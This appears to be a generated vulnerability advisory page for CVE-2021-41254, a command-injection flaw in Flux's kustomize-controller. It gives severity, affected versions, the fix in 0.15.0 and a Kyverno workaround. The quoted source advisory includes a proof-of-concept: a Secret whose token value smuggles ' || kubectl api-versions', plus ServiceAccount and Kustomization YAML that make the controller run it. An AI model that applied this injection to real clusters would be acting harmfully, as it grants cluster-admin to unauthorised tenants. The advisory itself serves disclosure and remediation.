CVE-2021-41254: Github.com/fluxcd/kustomize controller Privilege Escalation To Cluster Admin Vulnerability

HIGH
Advisory Identifier: GHSA-35rf-v2jv-gfg7
CVSS 8.8
CWE-78
Published
Advisory Summary

CVE-2021-41254 is a HIGH (CVSS 8.8) privilege escalation to cluster admin vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Github.com/fluxcd/kustomize controller libraries in the Go ecosystem. The issue involves privilege escalation to cluster admin on multi-tenant environments. Remediation is available by upgrading affected packages to version 0.15.0.

CVE-2021-41254 at a Glance

CVE Identifier CVE-2021-41254
GHSA Identifier GHSA-35rf-v2jv-gfg7
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product Github.com/fluxcd/kustomize controller
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2021-41254

To remediate this vulnerability, upgrade all affected Github.com/fluxcd/kustomize controller dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/fluxcd/kustomize-controller fixed: 0.15.0
Upgrade github.com/fluxcd/kustomize-controller to 0.15.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/fluxcd/kustomize-controller

How to Check if You Are Affected

To determine whether your application is affected by CVE-2021-41254, inspect your project dependencies for Github.com/fluxcd/kustomize controller:

inspect dependencies for github.com/fluxcd/kustomize-controller

Analyze the terminal output to locate any version of Github.com/fluxcd/kustomize controller in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.15.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Github.com/fluxcd/kustomize controller, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run `kubectl` commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges. ### Impact Multitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue. ### Exploit To exploit the command injection, first we create a secret with a shell command: ```sh kubectl create secret generic exploit-token --from-literal=token=" || kubectl api-versions" ``` Then we create a Service Account that refers to the above Secret: ```yaml apiVersion: v1 kind: ServiceAccount metadata: name: exploit namespace: default automountServiceAccountToken: false secrets: - name: exploit-token ``` And finally a Kustomization that runs under the above Service Account: ```yaml apiVersion: kustomize.toolkit.fluxcd.io/v1beta1 kind: Kustomization metadata: name: exploit namespace: default spec: interval: 5m path: "./deploy/" sourceRef: kind: GitRepository name: app serviceAccountName: exploit ``` When kustomize-controller reconciles the above Kustomization, it will execute the shell command from the secret. ### Patches This vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the `kubectl` binary has been removed from the container image. ### Workarounds To prevent the creation of Kubernetes Service Accounts with `secrets` in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used. ```yaml apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: restrict-sa spec: validationFailureAction: enforce background: false rules: - name: validate-sa match: resources: kinds: - ServiceAccount namespaces: - tenant1 - tenant2 subjects: - kind: User name: some@tenant1.com - kind: User name: some@tenant2.com - kind: ServiceAccount name: kustomize-controller namespace: flux-system - kind: ServiceAccount name: helm-controller namespace: flux-system validate: message: "Invalid service account" pattern: X(secrets): "*?" ``` ### References Disclosed by ADA Logics in a security audit of the Flux project sponsored by CNCF and facilitated by OSTIF. ### For more information If you have any questions or comments about this advisory: * Open an issue in [kustomize-controller repository](http://github.com/fluxcd/kustomize-controller)

CVE-2021-41254 Affected Github.com/fluxcd/kustomize controller Versions

1 component(s)
Fixed Versions:
0.15.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/fluxcd/kustomize-controller
Go
< 0.15.0
0.15.0

References

Frequently Asked Questions

What is CVE-2021-41254?
CVE-2021-41254 is a security vulnerability in Github.com/fluxcd/kustomize controller involving Privilege escalation to cluster admin on multi-tenant environments under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Github.com/fluxcd/kustomize controller versions are affected?
Affected versions include releases prior to 0.15.0 across affected packages: github.com/fluxcd/kustomize-controller.
What version fixes CVE-2021-41254?
Upgrading to 0.15.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/fluxcd/kustomize-controller affected?
Yes, github.com/fluxcd/kustomize-controller is affected in releases prior to 0.15.0. Upgrade your dependency to 0.15.0 or later.
What is the CVSS score of CVE-2021-41254?
CVE-2021-41254 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2021-41254?
CVE-2021-41254 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check Go dependencies for CVE-2021-41254?
Run the dependency tree command: 'inspect dependencies for github.com/fluxcd/kustomize-controller'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-35rf-v2jv-gfg7",
  "modified" : "2021-11-12T18:57:27Z",
  "published" : "2021-11-15T17:35:33Z",
  "aliases" : [ "CVE-2021-41254" ],
  "summary" : "Privilege escalation to cluster admin on multi-tenant environments",
  "details" : "Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run `kubectl` commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges.\n\n### Impact\n\nMultitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue.\n\n### Exploit \n\nTo exploit the command injection, first we create a secret with a shell command:\n\n```sh\nkubectl create secret generic exploit-token --from-literal=token=\" || kubectl api-versions\"\n```\n\nThen we create a Service Account that refers to the above Secret:\n\n```yaml\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: exploit\n  namespace: default\nautomountServiceAccountToken: false\nsecrets:\n- name: exploit-token\n```\n\nAnd finally a Kustomization that runs under the above Service Account:\n\n```yaml\napiVersion: kustomize.toolkit.fluxcd.io/v1beta1\nkind: Kustomization\nmetadata:\n  name: exploit\n  namespace: default\nspec:\n  interval: 5m\n  path: \"./deploy/\"\n  sourceRef:\n    kind: GitRepository\n    name: app\n  serviceAccountName: exploit\n```\n\nWhen kustomize-controller reconciles the above Kustomization, it will execute the shell command from the secret.\n\n### Patches\n\nThis vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the `kubectl` binary has been removed from the container image.\n\n### Workarounds\n\nTo prevent the creation of Kubernetes Service Accounts with `secrets` in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.\n\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n  name: restrict-sa\nspec:\n  validationFailureAction: enforce\n  background: false\n  rules:\n    - name: validate-sa\n      match:\n        resources:\n          kinds:\n            - ServiceAccount\n          namespaces:\n            - tenant1\n            - tenant2\n        subjects:\n          - kind: User\n            name: some@tenant1.com\n          - kind: User\n            name: some@tenant2.com\n          - kind: ServiceAccount\n            name: kustomize-controller\n            namespace: flux-system\n          - kind: ServiceAccount\n            name: helm-controller\n            namespace: flux-system\n      validate:\n        message: \"Invalid service account\"\n        pattern:\n          X(secrets): \"*?\"\n```\n\n### References\n\nDisclosed by ADA Logics in a security audit of the Flux project sponsored by CNCF and facilitated by OSTIF.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [kustomize-controller repository](http://github.com/fluxcd/kustomize-controller)\n\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/fluxcd/kustomize-controller"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.15.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/fluxcd/kustomize-controller/security/advisories/GHSA-35rf-v2jv-gfg7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2021-41254"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/fluxcd/kustomize-controller"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2021-11-12T18:57:27Z",
    "nvd_published_at" : "2021-11-12T18:15:00Z"
  }
}